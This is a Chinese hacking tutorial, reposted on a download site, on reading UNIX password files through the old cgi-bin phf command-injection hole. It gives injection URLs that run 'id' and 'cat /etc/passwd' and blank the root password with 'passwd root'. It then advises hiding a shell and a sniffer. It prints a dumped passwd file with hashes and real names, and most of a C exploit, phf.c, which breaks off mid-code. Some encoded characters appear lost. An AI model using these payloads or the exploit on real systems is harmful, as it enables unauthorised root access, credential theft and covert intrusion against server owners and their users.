也想出现在这里? 联系我们

从UNIX系统获取密码档(一)

作者 : 小编 本文共4484个字,预计阅读时间需要12分钟 发布时间: 2021-06-23 共3.28K人阅读
也想出现在这里? 联系我们

目录:

PHF:WWW的PH查询

PHF查询攻击新方法

从新手处获取

获取shadow密码档

获取/etc/hosts档

本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个

有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与

shadow密码档的区别,并学习到如何读取shadow密码档。

——————————–

PHF:WWW的PH查询

如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就

可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如

/etc/passwd等,并保存在本地机上。

以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我

们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。

这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,

并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动

从/etc目录下读取passwd档,并保存为domain.???.passwd文件。

我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,

你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。

OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。

把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。

在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会

出现以下内容(译者注:以lynx为例):

URL to open:

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x
id

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x
id

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下内容:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody

用户。虽然我们还不是root用户,但必将是。 😉

命令行:

http://afp.org/cgi-bin/phf/?Qalias=x
id

id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x
/usr/bin/id

注意
后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常

要用到的几个命令行:(以
开始)

显示passwd密码档:

/bin/cat /etc/passwd

获取/etc目录下所有以pass开始的详细文件列表:

ls -al /etc/pass*

如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:

cp /etc/passwd /etc/passwd.my

更改root用户密码(服务器往往会允许你这样做 😉 ):

passwd root

(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户

的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复

root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来

作为嗅探器(sniffer)来获取所需的密码了。)

只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇

到什么困难!

OK。现在让我们来获取本例中的passwd档吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x
cat /etc/passwd

我们将会看到:

QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:-2:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

guest:*:405:100:guest:/dev/null:/dev/null

bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一个小小的密码档 😉 )

如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存

为文件”即可。

现在让我们了解一下paaswd档的结构:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

1 :2 :3 :4 :5 :6 :7

1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字

6=用户根目录 7=shell

好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:

phf.c

—— cut here—-

/* Some small changes for efficiency by snocrash. */

/*

* cgi-bin phf exploit by loxsmith [xf]

*

* I wrote this in C because not every system is going to have lynx. Also,

* this saves the time it usually takes to remember the syntatical format

* of the exploit. Because of the host lookup mess, this will take

* approximately 12 seconds to execute with average network load. Be patient.

*

*/

#include

#include

#include

#include

#include

#include

#include

int main(argc, argv)

int argc;

char **argv;

{

int i = 0, s, port, bytes = 128;

char exploit[0xff], buffer[128], hostname[256], *command, j[2];

struct sockaddr_in sin;

struct hostent *he;

if (argc != 3 && argc != 4) {

fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);

exit(1);

}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != \’\\0\’) {

if (argv[1][i] == 32) strcat(command, " "); else {

sprintf(j, "%c", argv[1][i]);

strcat(command, j);

}

i;

}

strcpy(hostname, argv[2]);

if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {

he = gethostbyname(hostname);

if (he) {

sin.sin_family = he->h_addrtype;

memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],

he->h_length);

} else {

fprintf(stderr, "%s: unknown host %s\\n", argv[0], hostname);

exit(1);

}

}

sin.sin_family = AF_INET;

sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {

fprintf(stderr, "%s: could not get socket\\n", argv[0]);

exit(1);

}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

close(s);

fprintf(stderr, "%s: could not establish connection\\n", argv[0]);

exit(1);

}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%
%s\\n", command);

free(command);

write(s, exploit, strlen(exploit));

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 从UNIX系统获取密码档(一)

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录